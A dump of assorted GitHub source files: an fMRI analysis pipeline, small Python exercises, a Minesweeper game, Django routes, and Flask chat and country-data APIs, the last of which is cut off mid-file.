+{"seq_id":"1572747938","text":"import visualizations.plot_relational_coding as plot\nimport visualizations.plot_snr_measurement as plot_snr\nimport visualizations.plot_temporal_relational_coding_window as plot_window\nfrom data_center.static_data.static_data import StaticData\nfrom enums import DataType, FlowType\nfrom flow_manager import FlowManager\n\n# load dictionary to static class members\nStaticData.inhabit_class_members()\n\n\ndef relation_coding_for_all_roi(avg_data: bool = False, with_plot: bool = False, group: str = '',\n shuffle: bool = False):\n for roi in StaticData.ROI_NAMES:\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, avg_data, group, shuffle, flow_type=FlowType.RELATIONAL_CODING)\n del fm\n\n if with_plot:\n if avg_data:\n plot.plot_pipe_avg(roi, group, shuffle)\n else:\n plot.plot_pipe(roi)\n\n\ndef relation_coding_for_specific_roi(roi, avg_data: bool = False, with_plot: bool = False):\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, avg_data, flow_type=FlowType.RELATIONAL_CODING)\n if with_plot:\n if avg_data:\n plot.plot_pipe_avg(roi)\n else:\n plot.plot_pipe(roi)\n\n\ndef activations_pattern_for_all_roi(group, with_plot: bool = False):\n for roi in StaticData.ROI_NAMES:\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, group, flow_type=FlowType.ACTIVATIONS_PATTERNS)\n del fm\n if with_plot:\n plot.plot_activation_pattern(roi, group)\n\n\ndef activations_pattern_for_specific_roi(roi, group, with_plot: bool = False):\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, group, flow_type=FlowType.ACTIVATIONS_PATTERNS)\n if with_plot:\n plot.plot_activation_pattern(roi, group)\n\n\ndef singular_relational_coding(group, with_plot: bool = False):\n for roi in StaticData.ROI_NAMES:\n fm = FlowManager()\n fm.execute(DataType.FMRI, group, flow_type=FlowType.SINGULAR_RELATIONAL_CODING)\n del fm\n\n\ndef singular_relational_coding_for_specific_roi(roi, group, with_plot: bool = False):\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, group, flow_type=FlowType.SINGULAR_RELATIONAL_CODING)\n\n\ndef custom_temporal_relational_coding_for_specific_roi(roi, rest_ws, task_ws, with_plot: bool = False):\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, rest_ws, task_ws, flow_type=FlowType.CUSTOM_TEMPORAL_RELATIONAL_CODING)\n if with_plot:\n plot.custom_window_rc_histogram(roi=roi, rest_window=rest_ws, task_window=task_ws)\n\n\ndef custom_temporal_relational_coding(rest_ws, task_ws, with_plot: bool = False):\n for roi in StaticData.ROI_NAMES:\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, rest_ws, task_ws, flow_type=FlowType.CUSTOM_TEMPORAL_RELATIONAL_CODING)\n del fm\n\n if with_plot:\n plot.custom_window_rc_histogram(roi=roi, rest_window=rest_ws, task_window=task_ws)\n\n\ndef moving_window_custom_temporal_relational_coding(**kwargs):\n if isinstance(kwargs.get('roi'), list):\n rois = kwargs.pop('roi')\n\n elif kwargs.get('roi'):\n rois = [kwargs.pop('roi')]\n\n else:\n rois = StaticData.ROI_NAMES\n\n avg_data = kwargs.get('average_data')\n for init_window in ['end']:\n task_ws = 10\n rest_s, rest_e = (0, 5)\n while rest_e < 30:\n rest_ws = rest_s, rest_e\n for roi in rois:\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, rest_ws, init_window, task_ws,\n flow_type=FlowType.CUSTOM_TEMPORAL_RELATIONAL_CODING, **kwargs)\n del fm\n\n print('done window', rest_ws)\n rest_s += 1\n rest_e += 1\n\n if kwargs.get('with_plot'):\n plot_window.window_relational_coding_plot(task_window=init_window, show=True, save_img=True,\n avg_data=avg_data, roi=rois)\n if kwargs.get('with_bar'):\n plot_window.window_average_rc_bar_plot(avg_data=avg_data, with_shuffle=True, save_img=True)\n\n\ndef isfc_relational_coding(with_plot=None):\n for roi in StaticData.ROI_NAMES:\n fm = FlowManager()\n fm.execute(DataType.FMRI, roi, flow_type=FlowType.ISFC_RELATIONAL_CODING)\n del fm\n\n if with_plot:\n plot.plot_pipe(roi)\n\n\ndef moving_window_custom_temporal_relational_coding_with_signal_processing(\n roi,\n average_data,\n shuffle,\n filtering,\n decomposition,\n with_plot\n):\n for init_window in ['end']:\n task_ws = 10\n rest_s, rest_e = (0, 5)\n while rest_e < 19:\n rest_ws = rest_s, rest_e\n # for roi in StaticData.ROI_NAMES:\n fm = FlowManager()\n fm.execute(\n DataType.FMRI,\n roi,\n rest_ws,\n init_window,\n task_ws,\n avg_data=average_data,\n shuffle_rest=shuffle,\n filtering=filtering,\n decomposition=decomposition,\n filter_order=10,\n filter_cut_off=0.09,\n flow_type=FlowType.CUSTOM_TEMPORAL_RELATIONAL_CODING\n )\n del fm\n rest_s += 1\n rest_e += 1\n print(rest_ws)\n if with_plot:\n plot_window.window_relational_coding_plot(\n roi=roi,\n task_window=init_window,\n mode='pca' if decomposition else 'filtering',\n show=True,\n save_img=True,\n avg_data=average_data,\n filter_order=30,\n filter_cut_off=0.3,\n )\n\n\ndef snr_measurement(**kwargs):\n rois = kwargs.get('roi')\n\n if rois and not isinstance(rois, list):\n rois = [kwargs.get('roi')]\n\n elif not rois:\n rois = StaticData.ROI_NAMES\n\n for init_window in ['end']:\n for group_index in [1, 2, 3, 4, 5, 6]:\n task_ws = 10\n rest_s, rest_e = (0, 5)\n while rest_e < 19:\n rest_ws = rest_s, rest_e\n for roi in rois:\n fm = FlowManager()\n fm.execute(\n DataType.FMRI,\n roi=roi,\n rest_ws=rest_ws,\n init_window=init_window,\n window_moving_size=10,\n # window_range=(10,20),\n task_ws=task_ws,\n group_index=group_index,\n group_subjects=35,\n skip_correlation=False,\n movie_distances=True,\n movie_activation=False,\n shuffle_rest=False,\n flow_type=FlowType.SNR_MEASUREMENTS\n )\n del fm\n rest_s += 1\n rest_e += 1\n\n\n\n\n print('done group i', group_index)\n print('done window', init_window)\n\n if kwargs.get('plot'):\n plot_snr.plot_snr_measurement(\n group_index,\n save_figure=False,\n plot_combined_groups=True,\n plot_heatmap=False,\n max=True\n )\n\n\nif __name__ == '__main__':\n # relation_coding_for_specific_roi()\n # relation_coding_for_all_roi(avg_data=True, with_plot=True, group='_GROUP2')\n # relation_coding_for_all_roi(avg_data=True, with_plot=True, group='_GROUP1')\n # activations_pattern_for_specific_roi('RH_Default_pCunPCC_6', group='_GROUP2', with_plot=True)\n # activations_pattern_for_all_roi(group='', with_plot=True)\n # singular_relational_coding_for_specific_roi('RH_Default_pCunPCC_6', group='')\n # custom_temporal_relational_coding_for_specific_roi(roi='RH_Vis_18',rest_ws=(8, 13), task_ws=10, with_plot=False)\n # custom_temporal_relational_coding(rest_ws=(6, 16), task_ws=10, with_plot=True)\n # moving_window_custom_temporal_relational_coding(with_plot=True)\n\n # relation_coding_for_all_roi(avg_data=True, shuffle=True, with_plot=True)\n\n # moving_window_custom_temporal_relational_coding(average_data=True, shuffle=True, with_plot=False, with_bar=False)\n # moving_window_custom_temporal_relational_coding(average_data=False, shuffle=True, with_plot=False, with_bar=False)\n # moving_window_custom_temporal_relational_coding_with_signal_processing(\n # roi='',\n # average_data=False,\n # shuffle=False,\n # filtering=False,\n # decomposition=True,\n # with_plot=True,\n # )\n\n # moving_window_custom_temporal_relational_coding_with_signal_processing(\n # roi='RH_Default_Temp_6',\n # average_data=False,\n # shuffle=False,\n # filtering=True,\n # decomposition=False,\n # with_plot=True\n # )\n # isfc_relational_coding(with_plot=1)\n snr_measurement(roi='RH_DorsAttn_Post_2')\n # # activations_pattern_for_specific_roi(roi='RH_Default_pCunPCC_1', group='_GROUP2', with_plot=True)\n # moving_window_custom_temporal_relational_coding(\n # # roi=['RH_Default_pCunPCC_1', 'LH_Default_PFC_15', 'RH_Default_Par_1'],\n # average_data=True,\n # shuffle=False,\n # with_plot=True,\n # with_bar=False\n # )","repo_name":"NivYahavMilo/fmri_relational_coding","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"15519792745","text":"# Write a program that extracts links from a given text. The text will come in the form of strings, each representing a\n# sentence. You need to extract only the valid links from it. Example:\nimport re\npattern = r'\\www\\.[A-Za-z0-9-]+(\\.[a-z]+)+'\nline = input()\nwhile line:\n\tresult = re.finditer(pattern, line)\n\tfor c in result:\n\t\tif c.group():\n\t\t\tprint(c.group())\n\n\tline = input()","repo_name":"Pavel-Petkov03/SoftuniHomeworks","sub_path":"02.Programming Fundamentals with Python/03. Основни задачи/Задачи/18. Exercise Regular Expressions/06. Extract the Links.py","file_name":"06. Extract the Links.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"16775963508","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[6]:\n\n\n# Goal is to reproduce NFW and cored (mleft=1) in fig 4 in https://arxiv.org/pdf/2106.09050.pdf\n\nfrom colossus.cosmology import cosmology\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom colossus.halo import mass_so\nfrom colossus.halo import mass_defs\nfrom colossus.halo import mass_adv\nfrom colossus.halo import profile_nfw\nfrom colossus.halo import profile_einasto\nfrom colossus.halo import concentration\nfrom scipy.integrate import quad\n\ncosmo = cosmology.setCosmology('planck18')\n\n#They start with Mvir=M200=1e9Msun. Derive R200, c200, r_s, and generate a list of radial values for the plot\n\nM200 = 1E9\nR200 = mass_so.M_to_R(M200, 1, '200c')\nc200 = concentration.concentration(M200, '200c', 1, 'diemer19')\nr_s = R200/c200\nr = np.linspace(1e-3, R200, 1500)\n\n# Define density functions and integrate out to R200 to obtain enclosed mass functions\n\ndef rho_prof_NFW(r, C):\n return C / ((r/r_s)*((1+r/r_s)**2))\n\ndef rho_prof_CORED(r, C):\n return C / ((1+(r/r_s)**3))\n\nresult1, _ = quad(lambda r: 4*np.pi*rho_prof_NFW(r, 1)*r**2, 1e-3, R200)\nC1 = M200/result1\n\nresult2, _ = quad(lambda r: 4*np.pi*rho_prof_CORED(r, 1)*r**2, 1e-3, R200)\nC2 = M200/result2\n\nMenc_NFW = np.array([])\nfor i in r:\n result1, _ = quad(lambda r: 4*np.pi*rho_prof_NFW(r, C1)*r**2, 1e-3, i)\n Menc_NFW = np.append(Menc_NFW, result1)\n \nMenc_CORED = np.array([])\nfor i in r:\n result2, _ = quad(lambda r: 4*np.pi*rho_prof_CORED(r, C2)*r**2, 1e-3, i)\n Menc_CORED = np.append(Menc_CORED, result2)\n\n# Plot enclosed mass vs distance from center \n \nplt.figure()\nplt.loglog()\nplt.xlabel('r/r200')\nplt.ylabel('M((km/s)')\nplt.plot(M200, sigma_los_NFW, '-', label = 'NFW');\nplt.plot(M200, sigma_los_CORED, '-', label = 'cored');\nplt.gca().set_yticks([1e0, 1e1])\nplt.gca().set_xticks([1e8, 1e9, 1e10, 1e11])\nplt.legend();\n\n\n# In[3]:\n\n\nx = .234*np.random.poisson(0, 25)\nprint(x)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"DivinaIsCool/Su23","sub_path":"Fig4 Reproduce (2).py","file_name":"Fig4 Reproduce (2).py","file_ext":"py","file_size_in_byte":4428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32180017228","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 2020/11/30 23:00\n# @Author : QXTD-LXH\n# @Desc :\nimport flask\nfrom chat import Chat\nimport traceback\nimport json\nfrom cfg import get_logger\n\nserver = flask.Flask(__name__)\nlogger = get_logger()\nmodel = Chat(logger)\n\n\n@server.route('/qianyan', methods=['get', 'post'])\ndef qianyan():\n try:\n sample = flask.request.args.get('input')\n # sample = flask.request.get_data()\n logger.info('Data: {}'.format(sample))\n sample = json.loads(sample)\n response = model.chat(sample)\n logger.info('Response: {}'.format(response))\n return response\n except Exception as e:\n exc_info = 'Cal Exception: {}'.format(e)\n logger.info('Exception: {}'.format(traceback.format_exc()))\n logger.info('exc info: {}'.format(exc_info))\n return flask.jsonify({\n \"error code\": 1,\n \"response\": \"error: {}\".format(exc_info)\n })\n\n\n@server.route('/test', methods=['get', 'post'])\ndef test():\n return 'Success !!'\n\n\n# you pig\nserver.run(port=2112, debug=False, host='0.0.0.0', threaded=True)\n","repo_name":"apple55bc/CCF-BDCI-qianyan","sub_path":"code/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"68"}
+{"seq_id":"3605107503","text":"\nimport turtle\nimport random\n\nclass Cell:\n def __init__(self,xmin=0,ymin=0,width=1,height=1):\n self.__xmin = xmin\n self.__ymin = ymin\n self.__xmax = self.__xmin + width\n self.__ymax = self.__ymin + height\n self.__t = turtle.Turtle()\n self.__t.hideturtle()\n self.__t.speed(0)\n self.__bomb = False\n self.__cleared = False\n\n\n def isIn(self,x,y):\n if x > self.__xmin and x < self.__xmax and y > self.__ymin and y < self.__ymax:\n return True\n\n else:\n return False\n\n def setBomb(self):\n self.__bomb = True\n\n def isBomb(self):\n return self.__bomb\n\n\n def clear(self):\n self.__cleared = True\n self.draw()\n\n def isCleared(self):\n return self.__cleared\n\n\n def showcount(self,c):\n centerx = (self.__xmax + self.__xmin)/2\n centery = (self.__ymax + self.__ymin)/2\n self.__t.penup()\n self.__t.goto(centerx,centery)\n self.__t.write(c,align=\"center\", font=(\"Arial\",10,\"normal\"))\n\n def draw(self):\n self.__t.hideturtle()\n self.__t.penup()\n self.__t.goto(self.__xmin,self.__ymin)\n\n if self.isBomb():\n self.__t.pendown()\n self.__t.fillcolor(\"red\")\n self.__t.begin_fill()\n self.__t.goto(self.__xmax,self.__ymin)\n self.__t.goto(self.__xmax,self.__ymax)\n self.__t.goto(self.__xmin,self.__ymax)\n self.__t.goto(self.__xmin,self.__ymin)\n self.__t.end_fill()\n self.__t.penup()\n centerx = (self.__xmax + self.__xmin)/2\n centery = (self.__ymax + self.__ymin)/2\n self.__t.goto(centerx,centery)\n self.__t.write(\"*\",font=(\"Arial\",10,\"normal\"))\n\n\n elif self.isCleared():\n self.__t.pendown()\n self.__t.fillcolor(\"gray\")\n self.__t.begin_fill()\n self.__t.goto(self.__xmax,self.__ymin)\n self.__t.goto(self.__xmax,self.__ymax)\n self.__t.goto(self.__xmin,self.__ymax)\n self.__t.goto(self.__xmin,self.__ymin)\n self.__t.end_fill()\n\n\n else:\n self.__t.pendown()\n self.__t.fillcolor(\"green\")\n self.__t.begin_fill()\n self.__t.goto(self.__xmax,self.__ymin)\n self.__t.goto(self.__xmax,self.__ymax)\n self.__t.goto(self.__xmin,self.__ymax)\n self.__t.goto(self.__xmin,self.__ymin)\n self.__t.end_fill()\n\n\n\nclass Minesweeper:\n def __init__(self,rows=14,columns=14,mines=15,bombsvis=False):\n self.__grid = []\n self.__t = turtle.Turtle()\n self.__s = self.__t.getscreen()\n self.__t.speed(0)\n self.__s.onclick(self.__mouseClick)\n self.__s.listen()\n self.__s.tracer(1000,0)\n self.__s.update()\n scale = 10*max(rows,columns)\n turtle.setworldcoordinates(-.5*scale,-.5*scale,3/2*scale,3/2*scale)\n #scales the grid based on how many rows/columns there are - grid always takes up same amount of screen space.\n self.__t.hideturtle()\n\n\n counter1 = 0\n gridcolumns = []\n y = 0\n x = 0\n\n\n while counter1 < rows: #making a nested list of cells\n width = 10\n height = 10\n counter1 += 1\n x = 0\n counter2 = 0\n\n while counter2 < columns:\n newcell = Cell(x,y,width,height)\n gridcolumns.append(newcell)\n counter2 += 1\n x += width\n newcell.draw()\n self.__s.update()\n self.__grid.append(gridcolumns)\n y += height\n gridcolumns = []\n\n\n remainingmines = 0\n while remainingmines < mines: #sets # of mines based on given argument\n newminex = random.randint(0,columns-1)\n newminey = random.randint(0,rows-1)\n if self.__grid[newminey][newminex].isBomb() == False:\n self.__grid[newminey][newminex].setBomb()\n remainingmines += 1\n\n\n if bombsvis:\n counter1 = 0\n while counter1 < columns:\n counter2 = 0\n while counter2 < rows:\n if self.__grid[counter1][counter2].isBomb():\n self.__grid[counter1][counter2].draw()\n counter2 += 1\n counter1 +=1\n\n def countBombs(self,row,col):\n numberofbombs = 0\n for y in range(row - 1, row + 2):\n for x in range(col - 1, col + 2):\n if self.__grid[y][x].isBomb():\n numberofbombs += 1\n return numberofbombs\n\n def cellsRemaining(self):\n cellsnum = 0\n for a in range(0,len(self.__grid)):\n for b in range(0,len(self.__grid[0])):\n if not self.__grid[a][b].isCleared() and not self.__grid[a][b].isBomb():\n cellsnum += 1\n return(cellsnum)\n\n\n def getRowCol(self,x,y):\n if x/10 < len(self.__grid) and x/10 > 0 and y/10 < len(self.__grid[0]) and y/10 > 0:\n return (x/10),(y/10)\n else:\n return (-1,-1)\n\n\n def __mouseClick(self,x,y):\n (x,y) = self.getRowCol(x,y)\n row = int(y)\n col = int(x)\n\n if x != -1 and y != -1: #to make sure clicking outside grid doesn't clear cell [-1,-1]\n if not self.__grid[row][col].isCleared():\n\n if self.__grid[row][col].isBomb():\n self.__t.penup()\n self.__t.goto(25,-20)\n self.__t.pendown()\n self.__t.write(\"You lose, loser\", font=(\"Arial\",45,\"normal\"),align=\"center\") #plz don't be offended i just thought this was funny\n self.__t.penup()\n self.__t.goto(25,-30)\n self.__t.pendown()\n self.__t.write(\"Click mouse to exit\", font=(\"Arial\",25,\"normal\"),align=\"center\")\n\n counter1 = 0\n while counter1 < len(self.__grid):\n counter2 = 0\n while counter2 < len(self.__grid[0]):\n if self.__grid[counter1][counter2].isBomb():\n self.__grid[counter1][counter2].draw()\n counter2 += 1\n counter1 +=1\n self.__s.update()\n self.__s.exitonclick()\n\n else:\n self.clearCell(row,col)\n\n if self.cellsRemaining() == 0:\n self.__t.penup()\n self.__t.goto(25,-20)\n self.__t.pendown()\n self.__t.write(\"You win, winner!\", font=(\"Arial\",45,\"normal\"),align=\"center\")\n self.__t.penup()\n self.__t.goto(25,-30)\n self.__t.pendown()\n self.__t.write(\"Click mouse to exit\", font=(\"Arial\",25,\"normal\"),align=\"center\")\n\n\n counter1 = 0\n while counter1 < len(self.__grid):\n counter2 = 0\n while counter2 < len(self.__grid[0]):\n if self.__grid[counter1][counter2].isBomb():\n self.__grid[counter1][counter2].draw()\n counter2 += 1\n\n counter1 +=1\n self.__s.exitonclick()\n\n\n\n\n def clearCell(self,row,col):\n\n self.__grid[row][col].clear()\n\n\n if self.hasneighborMine(row,col) == 0:\n for a in range(row-1,row+2):\n if a >= 0 and a < len(self.__grid):\n for b in range(col-1,col+2):\n if b >= 0 and b < len(self.__grid[0]):\n if not self.__grid[a][b].isCleared():\n self.__s.update() #had to update in here to avoid glitchiness for the cell clearing, bit slower but smoother animation - you can keep playing as it clears\n self.clearCell(a,b)\n\n\n\n\n\n\n def hasneighborMine(self,row,col): #added method that checks for neighbors for the recursive clear cell\n minenumber = 0\n for y in range(row-1,row+2):\n if y >= 0 and y < len(self.__grid):\n for x in range(col-1,col+2):\n if x >= 0 and x < len(self.__grid[0]):\n if self.__grid[y][x].isBomb():\n\n minenumber += 1\n if minenumber > 0:\n self.__grid[row][col].showcount(minenumber)\n return minenumber\n\n\n\n\n\n\ndef main():\n\n newgame = Minesweeper(15,15,14)\n\nif __name__ == '__main__':\n main()\n","repo_name":"EmilyKolb/happygolucky","sub_path":"minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":8817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"70945570457","text":"# Author: Deendayal Kumawat\n\"\"\" Date: 22/12/19\nDescriptions: Loop\"\"\"\n\nnum = int(input(\"Enter any Numer...........\"))\nprime = True\nfor i in range(2, num):\n if num % i == 0 :\n prime = False\n break\nif prime:\n print(\"This is Prime Number\")\nelse:\n print(\"This is not Prime Number\")\n","repo_name":"ddsha441981/Python-Sample-Code","sub_path":"chapter_07_Loops_in_Python/practice_07/practice_05.py","file_name":"practice_05.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"14519535019","text":"\"\"\"proyecto_tarea URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib.auth import views as auth_views\nfrom . import views\nfrom django.urls import path, include\nfrom .views import VendedorListar, VendedorNueva, VendedorBorrar, VendedorEditar, PolizaListar, PolizaNueva \\\n , HospitalListar, HospitalNuevo, HospitalEditar, HospitalBorrar, AseguradoNuevo, AseguradoEditar, AseguradoBorrar, \\\n AseguradoListar, PolizaEditar, PolizaBorrar, index, ContratoPoliza, ContratoPolizaListar, home, TemplateSinPrivilegio, \\\n DoctorNuevo, DoctorBorrar, DoctorEditar, DoctorListar, FamiliaresBorrar, FamiliaresEditar, FamiliaresListar, \\\n FamiliaresNuevo, HospitalizacionNuevo, HospitalizacionBorrar, HospitalizacionListar, HospitalizacionEditar, \\\n TratamientoNuevo, TratamientoBorrar, TratamientoEditar, TratamientoListar, DetalleTratamientoNuevo, \\\n DetalleTratamientoBorrar, DetalleTratamientoEditar, DetalleTratamientoListar, AseguradoFamiliarLista, ContratoPolizaEditar, \\\n ContratoPolizaBorrar\nfrom .reportes import reporte_vendedores, reporte_contrato\n\nurlpatterns = [\n path('home', home, name='home'),\n path(\"vendedores/\", VendedorListar.as_view(), name=\"vendedor_listar\"),\n path(\"vendedores/nuevo/\", VendedorNueva.as_view(), name=\"vendedor_nuevo\"),\n path(\"vendedores/editar/\", VendedorEditar.as_view(), name=\"vendedor_editar\"),\n path(\"vendedores/borrar/\", VendedorBorrar.as_view(), name=\"vendedor_borrar\"),\n\n path(\"polizas/\", PolizaListar.as_view(), name=\"poliza_listar\"),\n path(\"polizas/nuevo/\", PolizaNueva.as_view(), name=\"poliza_nuevo\"),\n path(\"polizas/editar/\", PolizaEditar.as_view(), name=\"poliza_editar\"),\n path(\"polizas/borrar/\", PolizaBorrar.as_view(), name=\"poliza_borrar\"),\n\n path(\"hospitales/\", HospitalListar.as_view(), name=\"hospital_listar\"),\n path(\"hospitales/nuevo/\", HospitalNuevo.as_view(), name=\"hospital_nuevo\"),\n path(\"hospitales/editar/\", HospitalEditar.as_view(), name=\"hospital_editar\"),\n path(\"hospitales/borrar/\", HospitalBorrar.as_view(), name=\"hospital_borrar\"),\n\n path(\"asegurados/nuevo/\", AseguradoNuevo.as_view(), name=\"asegurado_nuevo\"),\n path(\"asegurados/editar/\", AseguradoEditar.as_view(), name=\"asegurado_editar\"),\n path(\"asegurados/borrar/\", AseguradoBorrar.as_view(), name=\"asegurado_borrar\"),\n path(\"asegurados/\", AseguradoListar.as_view(), name=\"asegurado_listar\"),\n\n # path(\"\", views.loginpage, name=\"loginpage\"),\n # path(\"login/\", views.loginpage, name=\"loginpage\"),\n path(\"\", auth_views.LoginView.as_view(template_name='cha_app/login.html'), name=\"login\"),\n path(\"\", auth_views.LogoutView.as_view(template_name='cha_app/login.html'), name=\"logout\"),\n path('sin_privilegios/', TemplateSinPrivilegio.as_view(), name='sin_privilegios'),\n # path(\"login/\", auth_views.LoginView.as_view(template_name='cha_app/login.html'), name=\"login\"),\n path(\"contratos/\", ContratoPolizaListar.as_view(), name=\"contrato_listar\"),\n path(\"contratos/nuevo/\", ContratoPoliza.as_view(), name=\"contrato_nuevo\"),\n path(\"contratos/editar/\", ContratoPolizaEditar.as_view(), name=\"contrato_editar\"),\n path(\"contratos/borrar/\", ContratoPolizaBorrar.as_view(), name=\"contrato_borrar\"),\n\n path(\"doctor/nuevo/\", DoctorNuevo.as_view(), name=\"doctor_nuevo\"),\n path(\"doctor/editar/\", DoctorEditar.as_view(), name=\"doctor_editar\"),\n path(\"doctor/borrar/\", DoctorBorrar.as_view(), name=\"doctor_borrar\"),\n path(\"doctor/\", DoctorListar.as_view(), name=\"doctor_listar\"),\n\n path(\"familiares/nuevo/\", FamiliaresNuevo.as_view(), name=\"familiares_nuevo\"),\n path(\"familiares/editar/\", FamiliaresEditar.as_view(), name=\"familiares_editar\"),\n path(\"familiares/borrar/\", FamiliaresBorrar.as_view(), name=\"familiares_borrar\"),\n path(\"familiares/\", AseguradoFamiliarLista.as_view(), name=\"familiares_listar\"),\n path(\"familiares/listar/\", FamiliaresListar.as_view(), name=\"familiares_asegurado_listar\"),\n\n path(\"reportes/vendedores/\", reporte_vendedores, name='vendedores_print_all'),\n path(\"reportes/contratos/\", reporte_contrato, name='contrato_print'),\n\n path(\"hospitalizaciones/nuevo/\", HospitalizacionNuevo.as_view(), name=\"hospitalizaciones_nuevo\"),\n path(\"hospitalizaciones/editar/\", HospitalizacionEditar.as_view(), name=\"hospitalizaciones_editar\"),\n path(\"hospitalizaciones/borrar/\", HospitalizacionBorrar.as_view(), name=\"hospitalizaciones_borrar\"),\n path(\"hospitalizaciones/\", HospitalizacionListar.as_view(), name=\"hospitalizaciones_listar\"),\n\n path(\"tratamientos/nuevo/\", TratamientoNuevo.as_view(), name=\"tratamiento_nuevo\"),\n path(\"tratamientos/editar/\", TratamientoEditar.as_view(), name=\"tratamiento_editar\"),\n path(\"tratamientos/borrar/\", TratamientoBorrar.as_view(), name=\"tratamiento_borrar\"),\n path(\"tratamientos/\", TratamientoListar.as_view(), name=\"tratamiento_listar\"),\n\n\n path(\"detalletratamientos/nuevo/\", DetalleTratamientoNuevo.as_view(), name=\"detalletratamiento_nuevo\"),\n path(\"detalletratamientos/editar/\", DetalleTratamientoEditar.as_view(), name=\"detalletratamiento_editar\"),\n path(\"detalletratamientos/borrar/\", DetalleTratamientoBorrar.as_view(), name=\"detalletratamiento_borrar\"),\n path(\"detalletratamientos/listar/\", DetalleTratamientoListar.as_view(), name=\"detalletratamiento_listar\"),\n]\n","repo_name":"edgarahl/entornovirtual","sub_path":"entvirt/script/proyecto_tarea/cha_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":6105,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"70897567576","text":"# leetcode problem number 410 \ndef findPices(nums , target):\n pices = 1\n tempSum = 0\n if (len(nums) <1):\n return 0\n \n for number in nums: \n tempSum += number\n if(tempSum > target):\n pices += 1\n tempSum = number\n return pices\n \n\n \n\ndef splitArray(nums , m):\n start = max(nums)\n end = sum(nums)\n\n while start \", methods=[\"GET\"])\ndef get_top_10(parameter):\n parameter = parameter.lower().strip()\n\n if parameter not in [\"population\", \"area\", \"density\"]:\n result = jsonify({\n \"message\": \"The only valid parameters for this \\\n endpoint are: population, area, density.\"\n })\n return result\n\n try:\n cursor = mysql.connection.cursor()\n\n query = \"SELECT * FROM countries ORDER BY {} DESC\".format(parameter)\n cursor.execute(query)\n records = cursor.fetchall()[:10]\n\n result = []\n for record in records:\n country = {\n \"name\": record[0],\n \"capital\": record[1],\n \"language\": record[2].replace(\"\\\"\", \"\"),\n \"population\": record[3],\n \"density (per km2)\": record[4],\n \"area (km2)\": record[5],\n \"time_zone\": record[6],\n \"currency\": record[7],\n \"government\": record[8]\n }\n result.append(country)\n\n result = Response(json.dumps(result), mimetype=\"application/json\")\n except:\n result = jsonify({\n \"message\": \"There was a problem reading from the database.\"\n })\n finally:\n cursor.close()\n \n return result\n\n\"\"\"\nThe /all endpoint. Returns every entry in the database that fulfills\na certain condition, given by the query parameters.\n\"\"\"\n@app.route(\"/all\", methods=[\"GET\"])\ndef get_all():\n args = request.args\n pairs = []\n values = []\n\n # The format of the database query depends on which set\n # of query parameters was given\n for key in [\"name\", \"capital\", \"population\", \n \"density\", \"area\", \"currency\"]:\n if key in args:\n pairs.append(\"lower(\" + key + \") = %s\")\n values.append(args[key].lower().strip())\n\n for key in [\"language\", \"government\"]:\n if key in args:\n pairs.append(\"lower(\" + key + \") LIKE %s\")\n values.append(\"%\" + args[key].lower().strip() + \"%\")\n \n if \"time_zone\" in args:\n value = args[\"time_zone\"].lower().strip()\n\n if (\"+\" not in value) and (\"-\" not in value):\n pairs.append(\"lower(time_zone) = %s\")\n values.append(value)\n else:\n if \"+\" in value:\n split = value.split(\"+\")\n sign = \"+\"\n else:\n split = value.split(\"-\")\n sign = \"-\"\n\n pairs.append(\"lower(time_zone) = %s \\\n OR lower(time_zone) = %s \\\n OR lower(time_zone) = %s \\\n OR lower(time_zone) = %s\")\n values.append(value)\n values.append(value + \":00\")\n values.append(split[0] + sign + \"0\" + split[1])\n values.append(split[0] + sign + \"0\" + split[1] + \":00\")\n \n # If no valid query parameters are provided, it will return\n # information about every single country found in the database\n if len(pairs) == 0:\n pairs = [\"1\"]\n \n try:\n cursor = mysql.connection.cursor()\n\n query = \"SELECT * FROM countries WHERE {}\".format(\" AND \".join(pairs))\n cursor.execute(query, values)\n records = cursor.fetchall()\n\n result = []\n for record in records:\n country = {\n \"name\": record[0],\n \"capital\": record[1],\n \"language\": record[2].replace(\"\\\"\", \"\"),\n \"population\": record[3],\n \"density (per km2)\": record[4],\n \"area (km2)\": record[5],\n \"time_zone\": record[6],\n \"currency\": record[7],\n \"government\": record[8]\n }\n result.append(country)\n\n result = Response(json.dumps(result), mimetype=\"application/json\")\n except:\n result = 